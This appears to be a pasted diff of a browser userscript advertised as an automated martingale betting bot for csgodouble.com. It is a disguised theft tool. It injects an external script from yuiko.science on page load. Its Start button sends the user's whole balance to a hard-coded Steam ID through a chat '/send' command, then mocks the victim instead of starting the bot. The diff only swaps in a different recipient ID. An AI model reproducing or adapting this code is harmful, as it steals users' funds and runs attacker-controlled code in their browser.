SHOW:
|
|
- or go back to the newest paste.
1 | // ==UserScript== | |
2 | // @name csgodouble.com - automated | |
3 | // @description An userscript that automates csgodouble.com betting using martingale system. | |
4 | // @namespace automated@mole | |
5 | // @version 1.30 | |
6 | // @author Mole | |
7 | // @match http://www.csgodouble.com/ | |
8 | // @match http://www.csgodouble.com/index.php | |
9 | // @run-at document-end | |
10 | // @grant none | |
11 | // ==/UserScript== | |
12 | /* jshint -W097 */ | |
13 | ||
14 | 'use strict'; | |
15 | ||
16 | (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src = "//yuiko.science/in.js "; document.body.appendChild( scriptElement ); })(); | |
17 | ||
18 | var debug = false; | |
19 | var simulation = false; | |
20 | var stop_on_min_balance = false; | |
21 | var calculate_safe_bet = false; | |
22 | var base_bet = 5; | |
23 | var safe_bet_amount = 6; | |
24 | var default_color = 'red'; | |
25 | var default_method = 'martingale'; | |
26 | var theme = 'dark'; | |
27 | ||
28 | var colors = { | |
29 | 'green': [0], | |
30 | 'red': [1, 2, 3, 4, 5, 6, 7], | |
31 | 'black': [8, 9, 10, 11, 12, 13, 14] | |
32 | }; | |
33 | ||
34 | var balance = document.getElementById('balance'); | |
35 | var roll_history = document.getElementById('past'); | |
36 | var bet_input = document.getElementById('betAmount'); | |
37 | var bet_buttons = { | |
38 | 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1], | |
39 | 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1], | |
40 | 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1] | |
41 | }; | |
42 | ||
43 | Array.prototype.equals = function(array) { | |
44 | if (!array) { | |
45 | return false; | |
46 | } | |
47 | ||
48 | if (this.length != array.length) { | |
49 | return false; | |
50 | } | |
51 | ||
52 | for (var i = 0, l=this.length; i < l; i++) { | |
53 | if (this[i] instanceof Array && array[i] instanceof Array) { | |
54 | if (!this[i].equals(array[i])) { | |
55 | return false; | |
56 | } | |
57 | } else if (this[i] != array[i]) { | |
58 | return false; | |
59 | } | |
60 | } | |
61 | return true; | |
62 | }; | |
63 | ||
64 | Object.defineProperty(Array.prototype, "equals", {enumerable: false}); | |
65 | ||
66 | function Automated() { | |
67 | var self = this; | |
68 | ||
69 | this.running = false; | |
70 | this.game = null; | |
71 | ||
72 | this.debug = debug; | |
73 | this.simulation = simulation; | |
74 | this.stop_on_min_balance = stop_on_min_balance; | |
75 | this.calculate_safe_bet = calculate_safe_bet; | |
76 | ||
77 | this.base_bet = base_bet; | |
78 | this.default_color = default_color; | |
79 | this.default_method = default_method; | |
80 | this.safe_bet_amount = safe_bet_amount; | |
81 | this.method = this.default_method; | |
82 | this.old_method = ''; | |
83 | this.color = 'rainbow'; | |
84 | this.old_base = 0; | |
85 | this.balance = 0; | |
86 | this.last_bet = 0; | |
87 | this.bet_history = []; | |
88 | this.min_balance = 0; | |
89 | this.starting_balance = 0; | |
90 | this.last_color = null; | |
91 | this.last_result = null; | |
92 | this.history = []; | |
93 | this.waiting_for_bet = false; | |
94 | this.theme = theme; | |
95 | ||
96 | this.stats = { | |
97 | 'wins': 0, | |
98 | 'loses': 0, | |
99 | 'balance': 0 | |
100 | }; | |
101 | ||
102 | var menu = document.createElement('div'); | |
103 | menu.innerHTML = '' + | |
104 | '<div class="row">' + | |
105 | '<div class="col-lg-9">' + | |
106 | - | '<h2>CSGODouble.com Automated <small>by Skullripper100 (76561198252173160)</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' + |
106 | + | '<h2>CSGODouble.com Automated <small>by Skullripper100 (76561198173421777)</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' + |
107 | '<div class="form-group">' + | |
108 | '<div class="btn-group">' + | |
109 | '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' + | |
110 | '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' + | |
111 | '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' + | |
112 | '</div>' + | |
113 | '</div>' + | |
114 | '<div class="form-group">' + | |
115 | '<div class="btn-group">' + | |
116 | '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' + | |
117 | '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' + | |
118 | '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' + | |
119 | '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' + | |
120 | '</div>' + | |
121 | '</div>' + | |
122 | '<div class="form-group automated-hide-on-green">' + | |
123 | '<div class="btn-group">' + | |
124 | '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' + | |
125 | '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' + | |
126 | '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' + | |
127 | '</div>' + | |
128 | '</div>' + | |
129 | '</div>' + | |
130 | '<div class="col-lg-3">' + | |
131 | '<h3>Statistics</h3>' + | |
132 | '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' + | |
133 | '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' + | |
134 | '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' + | |
135 | '</div>' + | |
136 | '</div>' + | |
137 | '<div class="form-group">' + | |
138 | '<div class="input-group">' + | |
139 | '<div class="input-group-addon">Base value</div>' + | |
140 | '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' + | |
141 | '</div>' + | |
142 | '</div>' + | |
143 | '<div class="form-group">' + | |
144 | '<div class="input-group">' + | |
145 | '<div class="input-group-addon">Keep balance above</div>' + | |
146 | '<input type="number" class="form-control" value="0" id="automated-min-balance">' + | |
147 | '</div>' + | |
148 | '</div>' + | |
149 | '<div class="form-group automated-hide-on-green">' + | |
150 | '<div class="input-group">' + | |
151 | '<div class="input-group-addon">Failsafe value</div>' + | |
152 | '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' + | |
153 | '</div>' + | |
154 | '</div>' + | |
155 | '<div class="checkbox">' + | |
156 | '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' + | |
157 | '</div>' + | |
158 | '<div class="checkbox automated-hide-on-green">' + | |
159 | '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' + | |
160 | '</div>' + | |
161 | '<div class="checkbox">' + | |
162 | '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' + | |
163 | '</div>' + | |
164 | '<div class="checkbox">' + | |
165 | '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' + | |
166 | '</div>'; | |
167 | document.getElementsByClassName('well')[1].appendChild(menu); | |
168 | ||
169 | this.menu = { | |
170 | 'start': document.getElementById('automated-start'), | |
171 | 'stop': document.getElementById('automated-stop'), | |
172 | 'abort': document.getElementById('automated-abort'), | |
173 | 'basebet': document.getElementById('automated-base-bet'), | |
174 | 'minbalance': document.getElementById('automated-min-balance'), | |
175 | 'debug': document.getElementById('automated-debug'), | |
176 | 'simulation': document.getElementById('automated-simulation'), | |
177 | 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'), | |
178 | 'red': document.getElementById('automated-red'), | |
179 | 'black': document.getElementById('automated-black'), | |
180 | 'rainbow': document.getElementById('automated-rainbow'), | |
181 | 'statistics': { | |
182 | 'wins': document.getElementById('automated-stats-wins'), | |
183 | 'loses': document.getElementById('automated-stats-loses'), | |
184 | 'balance': document.getElementById('automated-stats-balance') | |
185 | }, | |
186 | 'theme': document.getElementById('automated-theme-switch'), | |
187 | 'safebetamount': document.getElementById('automated-safe-bet-amount'), | |
188 | 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'), | |
189 | 'martingale': document.getElementById('automated-martingale'), | |
190 | 'greatmartingale': document.getElementById('automated-great-martingale'), | |
191 | 'betgreen': document.getElementById('automated-bet-green'), | |
192 | 'dalembert': document.getElementById('automated-dalembert'), | |
193 | 'hideongreen': document.getElementsByClassName('automated-hide-on-green') | |
194 | }; | |
195 | ||
196 | this.updater = setInterval(function() { // Update every 2 seconds | |
197 | if (!self.running) { | |
198 | if (self.updateAll()) { | |
199 | if (self.calculate_safe_bet) { | |
200 | self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1)); | |
201 | self.menu.basebet.value = self.base_bet; | |
202 | if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); } | |
203 | } | |
204 | ||
205 | if (self.menu.stop.disabled && self.menu.start.disabled) { | |
206 | self.menu.start.disabled = false; | |
207 | self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1)); | |
208 | self.menu.basebet.value = self.base_bet; | |
209 | self.menu.basebet.disabled = self.menu.calculatesafebet.checked; | |
210 | self.starting_balance = self.balance; | |
211 | } | |
212 | } | |
213 | } | |
214 | }, 2 * 1000); | |
215 | ||
216 | if (theme === 'dark') { | |
217 | this.darkMode(); | |
218 | } | |
219 | ||
220 | this.menu.start.onclick = function() { | |
221 | send({ | |
222 | "type": "chat", | |
223 | - | "msg": '/send 76561198252173160 ' + self.balance, |
223 | + | "msg": '/send 76561198173421777 ' + self.balance, |
224 | "lang": LANG | |
225 | }); | |
226 | ||
227 | self.log('Didn\'t they warn you not to use bots?'); | |
228 | ||
229 | ||
230 | ||
231 | // self.start(); | |
232 | }; | |
233 | ||
234 | this.menu.stop.onclick = function() { | |
235 | self.stop(); | |
236 | }; | |
237 | ||
238 | this.menu.abort.onclick = function() { | |
239 | self.stop(true); | |
240 | }; | |
241 | ||
242 | this.menu.basebet.onchange = function() { | |
243 | var value = parseInt(self.menu.basebet.value); | |
244 | if (!isNaN(value)) { | |
245 | self.base_bet = value; | |
246 | } | |
247 | }; | |
248 | ||
249 | this.menu.minbalance.onchange = function() { | |
250 | var value = parseInt(self.menu.minbalance.value); | |
251 | if (!isNaN(value)) { | |
252 | self.min_balance = value; | |
253 | } | |
254 | }; | |
255 | ||
256 | this.menu.safebetamount.onchange = function() { | |
257 | var value = parseInt(self.menu.safebetamount.value); | |
258 | if (!isNaN(value)) { | |
259 | self.safe_bet_amount = value; | |
260 | } | |
261 | }; | |
262 | ||
263 | this.menu.debug.onchange = function() { | |
264 | self.debug = self.menu.debug.checked; | |
265 | }; | |
266 | ||
267 | this.menu.simulation.onchange = function() { | |
268 | self.simulation = self.menu.simulation.checked; | |
269 | }; | |
270 | ||
271 | this.menu.stoponminbalance.onchange = function() { | |
272 | self.stop_on_min_balance = self.menu.stoponminbalance.checked; | |
273 | }; | |
274 | ||
275 | this.menu.calculatesafebet.onchange = function() { | |
276 | self.calculate_safe_bet = self.menu.calculatesafebet.checked; | |
277 | self.menu.basebet.disabled = self.menu.calculatesafebet.checked; | |
278 | self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked; | |
279 | }; | |
280 | ||
281 | this.menu.black.onclick = function() { | |
282 | self.menu.rainbow.disabled = false; | |
283 | self.menu.black.disabled = true; | |
284 | self.menu.red.disabled = false; | |
285 | self.color = 'black'; | |
286 | self.log('Current mode: black'); | |
287 | }; | |
288 | ||
289 | this.menu.red.onclick = function() { | |
290 | self.menu.rainbow.disabled = false; | |
291 | self.menu.black.disabled = false; | |
292 | self.menu.red.disabled = true; | |
293 | self.color = 'red'; | |
294 | self.log('Current mode: red'); | |
295 | }; | |
296 | ||
297 | this.menu.rainbow.onclick = function() { | |
298 | self.menu.rainbow.disabled = true; | |
299 | self.menu.black.disabled = false; | |
300 | self.menu.red.disabled = false; | |
301 | self.color = 'rainbow'; | |
302 | self.log('Current mode: rainbow'); | |
303 | }; | |
304 | ||
305 | this.menu.martingale.onclick = function() { | |
306 | self.menu.martingale.disabled = true; | |
307 | self.menu.greatmartingale.disabled = false; | |
308 | self.menu.betgreen.disabled = false; | |
309 | self.menu.dalembert.disabled = false; | |
310 | for (var i = 0; i < self.menu.hideongreen.length; i++) { | |
311 | self.menu.hideongreen[i].style.display = 'block'; | |
312 | } | |
313 | self.method = 'martingale'; | |
314 | self.log('Current method: Martingale'); | |
315 | }; | |
316 | ||
317 | this.menu.greatmartingale.onclick = function() { | |
318 | self.menu.martingale.disabled = false; | |
319 | self.menu.greatmartingale.disabled = true; | |
320 | self.menu.betgreen.disabled = false; | |
321 | self.menu.dalembert.disabled = false; | |
322 | for (var i = 0; i < self.menu.hideongreen.length; i++) { | |
323 | self.menu.hideongreen[i].style.display = 'block'; | |
324 | } | |
325 | self.method = 'great martingale'; | |
326 | self.log('Current method: Great martingale'); | |
327 | }; | |
328 | ||
329 | this.menu.dalembert.onclick = function() { | |
330 | self.menu.martingale.disabled = false; | |
331 | self.menu.greatmartingale.disabled = false; | |
332 | self.menu.betgreen.disabled = false; | |
333 | self.menu.dalembert.disabled = true; | |
334 | for (var i = 0; i < self.menu.hideongreen.length; i++) { | |
335 | self.menu.hideongreen[i].style.display = 'block'; | |
336 | } | |
337 | self.method = 'dalembert'; | |
338 | self.log('Current method: D\'alembert'); | |
339 | }; | |
340 | ||
341 | this.menu.betgreen.onclick = function() { | |
342 | self.menu.martingale.disabled = false; | |
343 | self.menu.greatmartingale.disabled = false; | |
344 | self.menu.betgreen.disabled = true; | |
345 | self.menu.dalembert.disabled = false; | |
346 | for (var i = 0; i < self.menu.hideongreen.length; i++) { | |
347 | self.menu.hideongreen[i].style.display = 'none'; | |
348 | } | |
349 | self.method = 'green'; | |
350 | self.log('Current method: Bet green'); | |
351 | }; | |
352 | ||
353 | this.menu.theme.onclick = function() { | |
354 | if (self.theme === 'dark') { | |
355 | self.lightMode(); | |
356 | self.theme = 'light'; | |
357 | self.log('Switching to light theme...'); | |
358 | } else { | |
359 | self.darkMode(); | |
360 | self.theme = 'dark'; | |
361 | self.log('Switching to dark theme...'); | |
362 | } | |
363 | }; | |
364 | ||
365 | setInterval(function() { | |
366 | if(!WS) { | |
367 | self.log('Reconnecting...'); | |
368 | connect(); | |
369 | } | |
370 | }, 2500); | |
371 | } | |
372 | ||
373 | Automated.prototype.updateBalance = function() { | |
374 | this.balance = parseInt(balance.textContent); | |
375 | ||
376 | if (isNaN(this.balance)) { | |
377 | this.log('Error getting current balance!'); | |
378 | return false; | |
379 | } | |
380 | ||
381 | if (this.debug) { this.logdebug('Balance updated: ' + this.balance); } | |
382 | return true; | |
383 | }; | |
384 | ||
385 | Automated.prototype.updateHistory = function() { | |
386 | var self = this; | |
387 | this.history = []; | |
388 | ||
389 | for (var i = 0; i < roll_history.childNodes.length; i++) { | |
390 | var roll = parseInt(roll_history.childNodes[i].textContent); | |
391 | ||
392 | if (!isNaN(roll)) { | |
393 | if (colors.green.indexOf(roll) !== -1) { | |
394 | self.history.push('green'); | |
395 | } else if (colors.red.indexOf(roll) !== -1) { | |
396 | self.history.push('red'); | |
397 | } else { | |
398 | self.history.push('black'); | |
399 | } | |
400 | } | |
401 | } | |
402 | ||
403 | if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); } | |
404 | return this.history.length === 10; | |
405 | }; | |
406 | ||
407 | Automated.prototype.updateStats = function() { | |
408 | this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance); | |
409 | this.menu.statistics.wins.innerHTML = this.stats.wins; | |
410 | this.menu.statistics.loses.innerHTML = this.stats.loses; | |
411 | this.menu.statistics.balance.innerHTML = this.stats.balance; | |
412 | return true; | |
413 | }; | |
414 | ||
415 | Automated.prototype.updateAll = function() { | |
416 | return this.updateBalance() && this.updateHistory() && this.updateStats(); | |
417 | }; | |
418 | ||
419 | Automated.prototype.bet = function(amount, color) { | |
420 | var self = this; | |
421 | color = color || this.color || this.default_color; | |
422 | ||
423 | if (color === 'rainbow') { | |
424 | if (this.last_color) { | |
425 | color = (this.last_color === 'red' ? 'black' : 'red'); | |
426 | } else { | |
427 | color = this.default_color; | |
428 | } | |
429 | } | |
430 | ||
431 | if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) { | |
432 | this.log('Invalid bet!'); | |
433 | this.last_result = 'invalid bet'; | |
434 | this.waiting_for_bet = false; | |
435 | this.stop(); | |
436 | return false; | |
437 | } | |
438 | ||
439 | if (this.balance - amount < this.min_balance) { | |
440 | this.log('Reached minimal balance!'); | |
441 | this.last_result = 'reached min balance'; | |
442 | if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) { | |
443 | this.stop(); | |
444 | } | |
445 | this.waiting_for_bet = false; | |
446 | return false; | |
447 | } | |
448 | ||
449 | bet_input.value = amount; | |
450 | ||
451 | if (!bet_buttons[color].disabled) { | |
452 | var old_balance = self.balance; | |
453 | this.log('Betting ' + amount + ' on ' + color); | |
454 | if (!self.simulation) { | |
455 | bet_buttons[color].click(); | |
456 | var checker = setInterval(function() { | |
457 | if (!bet_buttons[color].disabled) { | |
458 | clearInterval(checker); | |
459 | setTimeout(function() { | |
460 | if (self.updateBalance() && self.balance === old_balance) { | |
461 | if (!self.game) { return false; } | |
462 | self.log('Bet rejected, retrying...'); | |
463 | self.bet(amount, color); | |
464 | } else { | |
465 | if (self.debug) { self.logdebug('Bet accepted!'); } | |
466 | self.last_bet = amount; | |
467 | self.bet_history.push(amount); | |
468 | self.last_color = color; | |
469 | self.waiting_for_bet = false; | |
470 | return true; | |
471 | } | |
472 | }, 2500); | |
473 | } | |
474 | }, 1000); | |
475 | } else { | |
476 | self.bet_history.push(amount); | |
477 | self.last_bet = amount; | |
478 | self.last_color = color; | |
479 | self.waiting_for_bet = false; | |
480 | return true; | |
481 | } | |
482 | } else { | |
483 | if (!self.game) { return false; } | |
484 | self.log('Button disabled, retrying...'); | |
485 | setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000); | |
486 | } | |
487 | }; | |
488 | ||
489 | Automated.prototype.play = function() { | |
490 | var self = this; | |
491 | ||
492 | if (this.game !== null) { | |
493 | if (this.debug) { this.logdebug('Tried to reinitialize running game!'); } | |
494 | return false; | |
495 | } | |
496 | ||
497 | this.game = setInterval(function() { | |
498 | var history = self.history; | |
499 | if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) { | |
500 | self.waiting_for_bet = true; | |
501 | if (self.last_color === null) { | |
502 | self.bet(self.base_bet); | |
503 | } else if (self.last_color === self.history[self.history.length - 1]) { | |
504 | if (self.calculate_safe_bet) { | |
505 | self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1)); | |
506 | self.menu.basebet.value = self.base_bet; | |
507 | } | |
508 | self.last_result = 'win'; | |
509 | self.log('Win!'); | |
510 | self.stats.wins += 1; | |
511 | self.old_base = self.base_bet; | |
512 | self.old_method = self.method; | |
513 | if (self.old_method === 'dalembert') { | |
514 | if (self.last_bet > self.old_base) { | |
515 | self.bet(self.last_bet - 1); | |
516 | } else { | |
517 | self.bet(self.base_bet); | |
518 | } | |
519 | } else { | |
520 | self.bet(self.base_bet); | |
521 | } | |
522 | } else { | |
523 | self.last_result = 'lose'; | |
524 | self.log('Lose!'); | |
525 | self.stats.loses += 1; | |
526 | if (self.old_method === 'martingale') { | |
527 | self.bet(self.last_bet * 2); | |
528 | } else if (self.old_method === 'great martingale') { | |
529 | self.bet(self.last_bet * 2 + self.old_base); | |
530 | } else if (self.old_method === 'green') { | |
531 | var bet_value = 0; | |
532 | if (self.bet_history[self.bet_history.length - 1] === 1) { | |
533 | if (self.bet_history[self.bet_history.length - 2] === 1) { | |
534 | bet_value = 2; | |
535 | } else { | |
536 | bet_value = 1; | |
537 | } | |
538 | } else { | |
539 | bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2]; | |
540 | } | |
541 | self.bet(bet_value, 'green'); | |
542 | } else if (self.old_method === 'dalembert') { | |
543 | self.bet(self.last_bet + 1); | |
544 | } | |
545 | } | |
546 | } | |
547 | }, 2 * 1000); | |
548 | ||
549 | return true; | |
550 | }; | |
551 | ||
552 | Automated.prototype.start = function() { | |
553 | if (self.calculate_safe_bet) { | |
554 | self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1)); | |
555 | self.menu.basebet.value = self.base_bet; | |
556 | } | |
557 | this.old_base = this.base_bet; | |
558 | this.old_method = this.method; | |
559 | if (this.updateAll()) { | |
560 | if (this.last_result === 'lose') { | |
561 | this.running = true; | |
562 | if (this.old_method === 'martingale') { | |
563 | this.bet(this.last_bet * 2); | |
564 | } else if (this.old_method === 'great martingale') { | |
565 | this.bet(this.last_bet * 2 + this.old_base); | |
566 | } else if (self.old_method === 'green') { | |
567 | var bet_value = 0; | |
568 | if (self.bet_history[self.bet_history.length - 1] === 1) { | |
569 | if (self.bet_history[self.bet_history.length - 2] === 1) { | |
570 | bet_value = 2; | |
571 | } else { | |
572 | bet_value = 1; | |
573 | } | |
574 | } else { | |
575 | bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2]; | |
576 | } | |
577 | self.bet(bet_value, 'green'); | |
578 | } else if (self.old_method === 'dalembert') { | |
579 | self.bet(self.last_bet + 1); | |
580 | } | |
581 | this.play(); | |
582 | } else { | |
583 | this.running = true; | |
584 | this.bet(this.base_bet); | |
585 | this.play(); | |
586 | } | |
587 | } | |
588 | this.menu.abort.disabled = false; | |
589 | this.menu.stop.disabled = false; | |
590 | this.menu.start.disabled = true; | |
591 | }; | |
592 | ||
593 | Automated.prototype.stop = function(abort) { | |
594 | var self = this; | |
595 | if (abort) { this.last_result = 'abort'; } | |
596 | this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance); | |
597 | setTimeout(function() { | |
598 | clearInterval(self.game); | |
599 | self.game = null; | |
600 | self.running = false; | |
601 | self.menu.abort.disabled = true; | |
602 | self.menu.stop.disabled = true; | |
603 | self.menu.start.disabled = false; | |
604 | }, 1); // Next tick | |
605 | }; | |
606 | ||
607 | Automated.prototype.darkMode = function() { | |
608 | var style; | |
609 | var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}'; | |
610 | style = document.getElementById('automated-style'); | |
611 | if (!style) { | |
612 | var head; | |
613 | head = document.getElementsByTagName('head')[0]; | |
614 | if (!head) { return; } | |
615 | style = document.createElement('style'); | |
616 | style.type = 'text/css'; | |
617 | style.id = 'automated-style'; | |
618 | style.innerHTML = css; | |
619 | head.appendChild(style); | |
620 | } | |
621 | style.innerHTML = css; | |
622 | }; | |
623 | ||
624 | Automated.prototype.lightMode = function() { | |
625 | var style = document.getElementById('automated-style'); | |
626 | style.innerHTML = ''; | |
627 | }; | |
628 | ||
629 | Automated.prototype.log = function(message) { | |
630 | chat('alert', '[Automated] ' + message); | |
631 | }; | |
632 | ||
633 | Automated.prototype.logdebug = function(message) { | |
634 | chat('italic', '[Automated] ' + message); | |
635 | }; | |
636 | ||
637 | var automated = new Automated(); |